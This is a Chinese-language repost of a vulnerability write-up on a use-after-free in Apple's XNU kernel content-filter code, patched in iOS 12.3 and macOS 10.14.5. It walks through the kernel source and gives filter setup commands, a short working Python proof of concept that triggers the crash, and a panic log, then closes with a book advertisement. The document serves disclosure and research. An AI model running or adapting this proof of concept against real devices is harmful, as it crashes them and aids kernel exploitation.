内容简介:概述2019年5月13日,发布了iOS 12.3和macOS 10.14.5版本。该更新中,修复了ZecOps研究团队在2019年5月初独立发现的XNU内核中的Use-After-Free漏洞。然而,在撰写本文时,ZecOps团队并不清楚是否已经为该漏洞分配CVE编号,因为在我们正准备向Apple披露此漏洞的过程中,该漏洞就已经被修复。基于ZecOps威胁情报,我们怀疑威胁行为者正在利用这一漏洞攻击移动设备管理(Mobile Device Management)用户。ZecOps正在持续开展调查,以确认这一
概述
2019年5月13日,发布了iOS 12.3和macOS 10.14.5版本。该更新中,修复了ZecOps研究团队在2019年5月初独立发现的XNU内核中的Use-After-Free漏洞。然而,在撰写本文时,ZecOps团队并不清楚是否已经为该漏洞分配CVE编号,因为在我们正准备向Apple披露此漏洞的过程中,该漏洞就已经被修复。
基于ZecOps威胁情报,我们怀疑威胁行为者正在利用这一漏洞攻击移动设备管理(Mobile Device Management)用户。ZecOps正在持续开展调查,以确认这一点是否属实。作为预防措施,ZecOps建议用户将iOS或macOS设备更新为最新的软件版本。
一旦初始代码执行完成,这个强大的漏洞可以允许攻击者进行完整的设备接管。此外,可以从受监控设备上的沙箱中进程和应用程序实现此漏洞利用。
漏洞详细分析
网络扩展控制策略(NECP)已经在/bsd/net/necp.c中详细描述。
该模块的目标是允许客户端通过内核控制套接字链接,以创建高级别策略会话,这些会话被提取到控制、标记应用程序、套接字和IP层流量的低级别内核策略中。
从macOS 10.14和iOS 12版本开始,UDP支持包含添加到内容过滤器的垃圾收集(GC)线程。
/* * NECP FILTER CONTROL UNIT * * A user space filter agent uses the Network Extension Control Policy (NECP) * database to specify which TCP/IP sockets need to be filtered. The NECP * criteria may be based on a variety of properties like user ID or proc UUID. * * The NECP "filter control unit" is used by the socket content filter subsystem * to deliver the relevant TCP/IP content information to the appropriate * user space filter agent via its kernel control socket instance. * This works as follows: * * 1) The user space filter agent specifies an NECP filter control unit when * in adds its filtering rules to the NECP database. */
函数cfil_sock_udp_get_flow首先查找本地地址/端口和远程地址/端口(laddr、lport、faddr、fport)组合的现有条目(下方代码示例中的Comment 1)。如果不存在已有条目,则会生成一个新的条目,并将其插入到cfentry_link的头部。
cfdb_only_entry指针将始终指向最新的条目(下方代码中的Comment 2)。
随后,cfil_info_alloc将分配一个新的cfil_info对象,该对象中包含唯一标识符cfil_sock_id,然后将cfil_info插入名为cfi_link的链表的尾部(下方代码中的Comment 3)。
struct cfil_hash_entry * cfil_sock_udp_get_flow(struct socket *so, uint32_t filter_control_unit, bool outgoing, struct sockaddr *local, struct sockaddr *remote) { ... // See if flow already exists. hash_entry = cfil_db_lookup_entry(so->so_cfil_db, local, remote);//Comment 1: Check for existing entry if (hash_entry != NULL) { return (hash_entry); } hash_entry = cfil_db_add_entry(so->so_cfil_db, local, remote);//Comment 2 if (hash_entry == NULL) { OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem); CFIL_LOG(LOG_ERR, "CFIL: UDP failed to add entry"); return (NULL); } if (cfil_info_alloc(so, hash_entry) == NULL || // Comment 3 hash_entry->cfentry_cfil == NULL) { cfil_db_delete_entry(so->so_cfil_db, hash_entry); CFIL_LOG(LOG_ERR, "CFIL: UDP failed to alloc cfil_info"); OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem); return (NULL); } ... }
GC线程每隔10秒唤醒一次,它会将过期套接字的sock_id添加到名为expired_array的列表中(下面代码中的Comment [a]),然后在另一个循环(Comment)中释放expired_array中的cfil_info。
cfil_info_udp_expire(void *v, wait_result_t w) { ... TAILQ_FOREACH(cfil_info, &cfil_sock_head, cfi_link) { if (expired_count >= UDP_FLOW_GC_MAX_COUNT) break; if (IS_UDP(cfil_info->cfi_so)) { if (cfil_info_idle_timed_out(cfil_info, UDP_FLOW_GC_IDLE_TO, current_time) || cfil_info_action_timed_out(cfil_info, UDP_FLOW_GC_ACTION_TO) || cfil_info_buffer_threshold_exceeded(cfil_info)) { expired_array[expired_count] = cfil_info->cfi_sock_id;//[a] expired_count++; } } } cfil_rw_unlock_shared(&cfil_lck_rw); if (expired_count == 0) goto go_sleep; for (uint32_t i = 0; i < expired_count; i++) { // Search for socket (UDP only and lock so) so = cfil_socket_from_sock_id(expired_array[i], true);//[b] if (so == NULL) { continue; } cfil_info = cfil_db_get_cfil_info(so->so_cfil_db, expired_array[i]); ... cfil_db_delete_entry(db, hash_entry); cfil_info_free(cfil_info);// ... }
cfdb_only_entry应该在函数cfil_db_delete_entry中设置为NULL。然而,db->cfdb_only_entry = NULL;(第25行)永远不会执行。
我们仔细查看cfil_db_get_cfil_info函数,当只剩下一个条目(快捷路径)时,将执行不同的路径,以获得更好的性能。
struct cfil_info * cfil_db_get_cfil_info(struct cfil_db *db, cfil_sock_id_t id) { struct cfil_hash_entry *hash_entry = NULL; ... // This is an optimization for connected UDP socket which only has one flow. // No need to do the hash lookup. if (db->cfdb_count == 1) { //fast path if (db->cfdb_only_entry && db->cfdb_only_entry->cfentry_cfil && db->cfdb_only_entry->cfentry_cfil->cfi_sock_id == id) { return (db->cfdb_only_entry->cfentry_cfil); } } hash_entry = cfil_db_lookup_entry_with_sockid(db, id); return (hash_entry != NULL ? hash_entry->cfentry_cfil : NULL); }
如果两个不同的cfil_info对象具有相同的cfil_sock_id,则会发送以下流:
在第一个循环中,cfil_db_get_cfil_info返回entry2,这是cfentry_link的第一个元素,将在以后的执行过程中释放。
在第二个循环中,cfil_db_get_cfil_info进入快速路径,并返回由cfdb_only_entry指向的对象(即已释放的entry2)。因此,内核将在后续执行过程中,因Use-After-Free漏洞而发生崩溃(Panic)。
+--------------------+ +-----------------+ | entry 2 <--------+ cfdb_only_entry | +--------------------+ +-----------------+ | entry 1 | +--------------------+
漏洞复现过程
为了生成cfil_sock_id碰撞,我们首先需要知道如何构建cfil_sock_id。
cfi_sock_id由so_gencnt、faddr、laddr、fport和lport计算得到。
so_gencnt是套接字的生成计数,针对单个套接字,该值保持不变。较高的32位来自so_gencnt,而较低的32位是基于laddr、faddr、lport和fport的运算结果。
#define CFIL_HASH(laddr, faddr, lport, fport) ((faddr) ^ ((laddr) >> 16) ^ (fport) ^ (lport)) hashkey_faddr = entry->cfentry_faddr.addr46.ia46_addr4.s_addr; hashkey_laddr = entry->cfentry_laddr.addr46.ia46_addr4.s_addr; entry->cfentry_flowhash = CFIL_HASH(hashkey_laddr, hashkey_faddr, entry->cfentry_lport,entry->cfentry_fport); // This is the UDP case, cfil_info is tracked in per-socket hash cfil_info->cfi_so = so; hash_entry->cfentry_cfil = cfil_info; cfil_info->cfi_hash_entry = hash_entry; cfil_info->cfi_sock_id = ((so->so_gencnt << 32) | (hash_entry->cfentry_flowhash & 0xffffffff)); CFIL_LOG(LOG_DEBUG, "CFIL: UDP inp_flowhash %x so_gencnt %llx entry flowhash %x sockID %llx", inp->inp_flowhash, so->so_gencnt, hash_entry->cfentry_flowhash, cfil_info->cfi_sock_id);
发送两个相同的UDP请求,将只会生成一个cfil_info对象,并且laddr、lport、faddr、fport中至少有一个值应该是不同的,因此在cfil_db_lookup_entry之后,函数cfil_sock_udp_get_flow不会立刻返回。
struct cfil_hash_entry * cfil_db_lookup_entry(struct cfil_db *db, struct sockaddr *local, struct sockaddr *remote) { ... if (nextentry->cfentry_lport == matchentry.cfentry_lport && nextentry->cfentry_fport == matchentry.cfentry_fport && nextentry->cfentry_laddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_laddr.addr46.ia46_addr4.s_addr && nextentry->cfentry_faddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_faddr.addr46.ia46_addr4.s_addr) { return nextentry; } ... }
总而言之,为了重现上述的崩溃(Panic),我们需要发送满足以下两个条件的UDP请求:
1. 具有相同的so_gencnt,也就是相同的套接字对象;
2. 具有相同的flowhash;
3. 具有不同的地址或端口。
通过构造特定的faddr、fport值,可以满足上述要求。
PoC部署环境
除非设备已经启用了MDM,否则在macOS上运行PoC可能不会生效。要触发此漏洞,设备应该满足以下条件:
1. 至少附加了一个内容过滤器(Content Filter);
2. 影响UDP请求的NECP策略被添加到NECP数据库;
3. 受影响的NECP策略和附加的内容过滤器具有相同的filter_control_unit。
cfil_sock_udp_handle_data(bool outgoing, struct socket *so, struct sockaddr *local, struct sockaddr *remote, struct mbuf *data, struct mbuf *control, uint32_t flags) { ... if (cfil_active_count == 0) {//[a] CFIL_LOG(LOG_DEBUG, "CFIL: UDP no active filter"); OSIncrementAtomic(&cfil_stats.cfs_sock_attach_in_vain); return (error); } filter_control_unit = necp_socket_get_content_filter_control_unit(so);//[b] if (filter_control_unit == 0) { CFIL_LOG(LOG_DEBUG, "CFIL: UDP failed to get control unit"); return (error); } ... hash_entry = cfil_sock_udp_get_flow(so, filter_control_unit, outgoing, local, remote); if (hash_entry == NULL || hash_entry->cfentry_cfil == NULL) { CFIL_LOG(LOG_ERR, "CFIL: Falied to create UDP flow"); return (EPIPE); } ... }
默认情况下,内容过滤器不会被集火,我们需要手动添加它。具体而言,我们需要运行Apple的network-cmds cfilutil。需要注意的是,cfilutil不是预先安装的工具,我们可能需要从源代码对其进行编译。
由于[a]行的检查将通过,因此下面的命令将激活内容过滤器:
sudo cfilutil -u [control_unit]
Control_unit是一个整数值,应该与filter_control_unit中的NECP策略相同。
sudo cfilutil -u 100
概念证明(PoC)代码
PoC代码非常简单,只需要几行 Python 代码即可轻松实现。在运行PoC代码后,设备将在几秒钟后发生崩溃(Panic)。PoC中的地址和端口组合是不同的,同时它们具有相同的flowhashin内容过滤器:
# PoC - CVE-2019-XXXX by ZecOps Research Team © # © ZecOps.com - Find and Leverage Attacker’s Mistakes™ # Intended only for educational purposes # Considered as confidential under NDA until responsible disclosure # Not for sale, not for sharing, use at your own risk import socket s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) msg = b'ZecOps' address = ('192.168.1.5', 8080) s.sendto(msg, address) address = ('193.168.1.5', 7824) s.sendto(msg, address) s.close()
在执行PoC后,macOS上生成了以下崩溃(Panic)信息:
*** Panic Report *** panic(cpu 0 caller 0xffffff800c014cae): Kernel trap at 0xffffff800c285638, type 13=general protection, registers: CR0: 0x000000008001003b, CR2: 0x0000000108c06ab0, CR3: 0x000000000f375000, CR4: 0x00000000001606e0 RAX: 0xffffff80195b67d0, RBX: 0xffffff800cac6d90, RCX: 0x0100000100000000, RDX: 0x0000000100000000 RSP: 0xffffff8067563f60, RBP: 0xffffff8067563fa0, RSI: 0xffffff8067563c58, RDI: 0xffffff804660f000 R8: 0x0000001078d5b42a, R9: 0x0000000000000000, R10: 0xffffff8046610520, R11: 0x0000000000000000 R12: 0xc0ffee4fc790eb7a, R13: 0x0000000000000000, R14: 0xffffff801638cba0, R15: 0xffffff80195cee88 RFL: 0x0000000000010282, RIP: 0xffffff800c285638, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x0000000108c06ab0, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0 Backtrace (CPU 0), Frame : Return Address 0xffffff800bd5d280 : 0xffffff800be8e46d 0xffffff800bd5d2d0 : 0xffffff800c025436 0xffffff800bd5d310 : 0xffffff800c014a62 0xffffff800bd5d380 : 0xffffff800be29ae0 0xffffff800bd5d3a0 : 0xffffff800be8db2b 0xffffff800bd5d4d0 : 0xffffff800be8d953 0xffffff800bd5d540 : 0xffffff800c014cae 0xffffff800bd5d6b0 : 0xffffff800be29ae0 0xffffff800bd5d6d0 : 0xffffff800c285638 0xffffff8067563fa0 : 0xffffff800be290ce BSD process name corresponding to current thread: kernel_task
修复补丁
在安装macOS 10.14.5和iOS 12.3的补丁之后,db->cfdb_only_entry = NULL;(第18行)可以正确执行。
安全建议
ZecOps威胁取证团队建议用户应该将iOS设备更新到最新版本。这样一来,就可以有效防范此类漏洞利用,并使漏洞利用链无效。随之,在受影响的MDM设备上利用此漏洞的威胁参与者将失去持久性。在Apple iOS更新后,原本受影响的设备也将被淘汰。如果用户怀疑自己的设备受到此漏洞的攻击,可以与ZecOps联系。
目前,我们已经与全球领先的合作伙伴、经销商、分销商和创新安全团队开展合作,如果想要进一步了解我们的工作,可以与我们取得联系。
如果研究人员针对我们所做的漏洞研究、漏洞利用、数字取证和事件响应感兴趣,可以加入ZecOps Reverse Bounty计划。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
指数型组织
萨利姆•伊斯梅尔 (Salim Ismail)、迈克尔•马隆 (Michael S. Malone)、尤里•范吉斯特 (Yuri van Geest) / 苏健 / 浙江人民出版社 / 2015-8-1 / CNY 69.90
《指数型组织》是一本指数级时代企业行动手册。作者奇点大学创始执行理事萨利姆·伊斯梅尔归纳了指数型组织的11个强大属性,并提出了建立指数型组织的12个关键步骤。通过自己创建的一套“指数商”测试题,伊斯梅尔还测量出了指数型组织世界100强。 为什么小米、海尔和阿里巴巴能进入“指数型组织世界100强”名单?“独角兽”Uber、Airbnb、谷歌等知名企业是如何指数化自己的组织的? 未......一起来看看 《指数型组织》 这本书的介绍吧!